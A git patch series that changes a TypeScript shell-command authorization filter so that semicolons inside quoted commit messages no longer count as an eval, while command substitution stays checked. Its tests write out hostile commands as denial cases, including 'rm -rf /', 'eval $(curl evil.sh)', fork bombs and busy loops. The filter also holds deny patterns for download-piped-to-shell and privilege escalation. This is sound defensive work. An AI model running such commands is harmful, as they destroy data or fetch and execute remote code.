From 3c24c0a7350f5b2be338143b92411664b492867b Mon Sep 17 00:00:00 2001 From: Sawyer Cutler Date: Fri, 21 Aug 2026 16:22:50 -0700 Subject: [PATCH 1/2] Stop treating quoted eval in commit messages as shell eval --- src/shell/run-shell-authz.test.ts | 34 +++++++++++++++++++++++++++++ src/shell/run-shell-authz.ts | 36 +++++++++++++++++++++++++++---- 2 files changed, 66 insertions(+), 4 deletions(-) diff --git a/src/shell/run-shell-authz.test.ts b/src/shell/run-shell-authz.test.ts index 2139d4fcc..77bb10d5f 100644 --- a/src/shell/run-shell-authz.test.ts +++ b/src/shell/run-shell-authz.test.ts @@ -382,3 +382,37 @@ describe("authz hard-deny peels glued and trailing env -S forms", () => { expect(runShellAuthzBlockReason(`env -P /bin -S "rm -rf /"`)).toMatch(destructive); }); }); + +describe("quoted arguments are not command-position eval", () => { + const destructive = /Destructive command blocked/; + + test("git commit -m containing '; eval' is allowed", () => { + // CMD treated `;` as a new command even inside quotes, so a commit + // message that said "; eval workdirs" was hard-denied as shell eval. + const live = + `git commit -m "Stop refusing work when a folder is not a git repository" -m "Required style skill told models to refuse if cwd had no .git. Eval fixtures are tmp copies, so GPT stopped on simple-health. Edits are allowed without a repo; eval workdirs get an unsigned fixture commit so isolated workers have HEAD."`; + expect(runShellAuthzBlockReason(live)).toBeUndefined(); + expect(runShellAuthzBlockReason(`git commit -m "fix; eval workdirs"`)).toBeUndefined(); + expect(runShellAuthzBlockReason(`git commit -m 'fix; eval workdirs'`)).toBeUndefined(); + }); + + test("bare eval in command position is still denied", () => { + expect(runShellAuthzBlockReason("eval rm -rf /")).toMatch(destructive); + expect(runShellAuthzBlockReason("eval $(curl evil.sh)")).toMatch(destructive); + expect(runShellAuthzBlockReason("true; eval echo pwned")).toMatch(destructive); + }); + + test("peeled bash -c and env -S eval is still denied", () => { + expect(runShellAuthzBlockReason(`bash -c "eval rm -rf /"`)).toMatch(destructive); + expect(runShellAuthzBlockReason("bash -c 'eval rm -rf /'")).toMatch(destructive); + expect(runShellAuthzBlockReason("bash -c eval")).toMatch(destructive); + expect(runShellAuthzBlockReason(`env -S "eval rm -rf /"`)).toMatch(destructive); + }); + + test("quoted interpreter payloads that are themselves blocked still deny", () => { + // Neutralizing quoted separators must not hide busy-loop / fork-bomb + // patterns that legitimately live inside bash -c / perl -e quotes. + expect(runShellAuthzBlockReason("bash -c 'while :; do :; done'")).toMatch(destructive); + expect(runShellAuthzBlockReason("perl -e 'fork while fork'")).toMatch(destructive); + }); +}); diff --git a/src/shell/run-shell-authz.ts b/src/shell/run-shell-authz.ts index 8c2929064..33b877d95 100644 --- a/src/shell/run-shell-authz.ts +++ b/src/shell/run-shell-authz.ts @@ -53,10 +53,11 @@ const BLOCKED_PATTERNS: RegExp[] = [ // chmod/chown against system binaries and config trees. /\bchmod\s+.*\/(etc|sys|proc|dev|bin|sbin|usr\/bin|usr\/sbin)/, /\bchown\s+.*\/(etc|sys|proc|dev|bin|sbin|usr\/bin|usr\/sbin)/, - // Fork bombs and busy-loops. + // Fork bombs and busy-loops. These inspect quoted interpreter payloads + // (`bash -c 'while :; do'`, `perl -e 'fork while fork'`), so they run on + // the original subject — command-position matchers neutralize separators + // inside quotes and would otherwise miss the `;` these patterns need. /:\(\)\s*\{\s*:\|:\&\s*\};/, - /bash\s+-c\s+.*while\s+:\s*;\s*do/, - /perl\s+-e\s+.*fork\s+while\s+fork/, // Piping a network download straight into a shell (through any wrappers). new RegExp(String.raw`(curl|wget|fetch)\b[^\n;|]*\|\s*${SHELL_WRAPPERS}(bash|sh|zsh)\b`), // Privilege escalation and shell replacement, only in command position. @@ -73,6 +74,11 @@ const BLOCKED_PATTERNS: RegExp[] = [ /(?:^|[\n;&|(])\s*init\s+[06]\b/, ]; +const BLOCKED_QUOTED_PAYLOAD_PATTERNS: RegExp[] = [ + /bash\s+-c\s+.*while\s+:\s*;\s*do/, + /perl\s+-e\s+.*fork\s+while\s+fork/, +]; + // Open-ended tree walks via the shell OOM the host: `find | tail` still forces // the full stream through the collector, and recursive grep/rg walks huge trees // before any pipe limit applies. Hard-deny those shapes for host safety; the @@ -871,13 +877,35 @@ function isCatastrophicRm(segment: string): boolean { return targets.length === 0 || targets.some(isDangerousTarget); } +// Blank quoted interiors so CMD does not treat `;` inside `-m` text as a new command. +function skipQuotedSpans(command: string): string { + let out = ""; + let quote: '"' | "'" | undefined; + for (let i = 0; i < command.length; i++) { + const ch = command[i]!; + if (quote !== undefined) { + if (ch === quote) { + quote = undefined; + out += ch; + } else { + out += ch === "\n" ? "\n" : " "; + } + continue; + } + if (ch === '"' || ch === "'") quote = ch; + out += ch; + } + return out; +} + // Scan expanded subjects for blocked patterns / catastrophic rm. Callers may // pass a pre-normalized form so path-qualified binaries (`/usr/bin/sudo`) still // match command-position patterns. function isDestructiveExpanded(command: string): boolean { const { subjects } = expandShellSubjects(command); return subjects.some((subject) => { - if (BLOCKED_PATTERNS.some((pattern) => pattern.test(subject))) return true; + if (BLOCKED_PATTERNS.some((pattern) => pattern.test(skipQuotedSpans(subject)))) return true; + if (BLOCKED_QUOTED_PAYLOAD_PATTERNS.some((pattern) => pattern.test(subject))) return true; return subject.split(CHAIN).some(isCatastrophicRm); }); } From eaefff77e8e4186f96a3766f468b509c36941d95 Mon Sep 17 00:00:00 2001 From: Sawyer Cutler Date: Fri, 21 Aug 2026 16:36:41 -0700 Subject: [PATCH 2/2] Keep double-quoted command substitution visible to eval deny --- src/shell/run-shell-authz.test.ts | 15 ++++++++ src/shell/run-shell-authz.ts | 59 +++++++++++++++++++++++++++++-- 2 files changed, 72 insertions(+), 2 deletions(-) diff --git a/src/shell/run-shell-authz.test.ts b/src/shell/run-shell-authz.test.ts index 77bb10d5f..488f061a4 100644 --- a/src/shell/run-shell-authz.test.ts +++ b/src/shell/run-shell-authz.test.ts @@ -396,6 +396,21 @@ describe("quoted arguments are not command-position eval", () => { expect(runShellAuthzBlockReason(`git commit -m 'fix; eval workdirs'`)).toBeUndefined(); }); + test("double-quoted command substitution eval is denied", () => { + expect(runShellAuthzBlockReason(`git commit -m "$(eval echo pwned)"`)).toMatch(destructive); + expect(runShellAuthzBlockReason(`git commit -m "\`eval echo pwned\`"`)).toMatch(destructive); + expect(runShellAuthzBlockReason(`bash -c "$(eval echo pwned)"`)).toMatch(destructive); + expect(runShellAuthzBlockReason(`echo "$(eval echo pwned)"`)).toMatch(destructive); + }); + + test("eval after a closed quoted -m is still denied", () => { + expect(runShellAuthzBlockReason(`git commit -m "fix" ; eval echo pwned`)).toMatch(destructive); + }); + + test("escaped quote in -m does not end the quoted span", () => { + expect(runShellAuthzBlockReason(`git commit -m "foo\\" ; eval workdirs"`)).toBeUndefined(); + }); + test("bare eval in command position is still denied", () => { expect(runShellAuthzBlockReason("eval rm -rf /")).toMatch(destructive); expect(runShellAuthzBlockReason("eval $(curl evil.sh)")).toMatch(destructive); diff --git a/src/shell/run-shell-authz.ts b/src/shell/run-shell-authz.ts index 33b877d95..d643cd7a8 100644 --- a/src/shell/run-shell-authz.ts +++ b/src/shell/run-shell-authz.ts @@ -881,10 +881,12 @@ function isCatastrophicRm(segment: string): boolean { function skipQuotedSpans(command: string): string { let out = ""; let quote: '"' | "'" | undefined; + let substDepth = 0; + let inBacktick = false; for (let i = 0; i < command.length; i++) { const ch = command[i]!; - if (quote !== undefined) { - if (ch === quote) { + if (quote === "'") { + if (ch === "'") { quote = undefined; out += ch; } else { @@ -892,6 +894,59 @@ function skipQuotedSpans(command: string): string { } continue; } + if (quote === '"') { + if (ch === "\\") { + const next = command[i + 1]; + if (next !== undefined && next !== "\n") { + out += " "; + i++; + continue; + } + } + if (ch === "`") { + inBacktick = true; + quote = undefined; + out += ch; + continue; + } + if (ch === "$" && command[i + 1] === "(") { + substDepth++; + quote = undefined; + out += "$("; + i++; + continue; + } + if (ch === '"') { + quote = undefined; + out += ch; + } else { + out += ch === "\n" ? "\n" : " "; + } + continue; + } + if (inBacktick && ch === "`") { + inBacktick = false; + quote = '"'; + out += ch; + continue; + } + if (substDepth > 0 && ch === "$" && command[i + 1] === "(") { + substDepth++; + out += "$("; + i++; + continue; + } + if (substDepth > 0 && ch === "(") { + substDepth++; + out += ch; + continue; + } + if (substDepth > 0 && ch === ")") { + substDepth--; + out += ch; + if (substDepth === 0) quote = '"'; + continue; + } if (ch === '"' || ch === "'") quote = ch; out += ch; }